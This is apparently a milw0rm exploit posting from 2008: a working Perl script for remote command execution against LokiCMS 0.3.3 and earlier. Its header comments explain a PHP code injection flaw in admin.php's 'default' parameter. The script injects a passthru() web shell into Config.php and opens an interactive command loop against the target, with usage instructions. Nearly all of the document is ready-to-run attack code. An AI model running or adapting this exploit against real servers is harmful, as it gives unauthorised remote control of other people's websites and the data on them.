# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 8/04/08
# CMS: LokiCMS <= 0.3.3
# Site: lokicms.com
# Bug: PHP Code Injection
# Exploit: Remote Command Execution
# Vuln Code: admin.php
# if ($_GET['default'] != '') { // User want's to set the default page
# writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), # $c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);
# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php
# This is a very bugged CMS, only most dengerous bug is here reported
#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__
use LWP::Simple;
if(not defined $ARGV[0])
{
banner();
print "[-] Usage: perl $0 [host] [path]\n";
print "[-] Example: perl $0 localhost /lokicms/\n\n";
exit;
}
my $host = $ARGV[0] =~ /^http:\/\// ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];
banner();
get($host.'admin.php?default=\';passthru($_GET[\'cmd\']);//') or die '[-] Error requesting page: admin.php';
while(1)
{
print "[+] Shell:~\$ ";
chomp($cmd = <STDIN>);
last if $cmd eq 'exit';
last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
print $resp;
}
sub banner
{
print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}
# milw0rm.com [2008-04-08]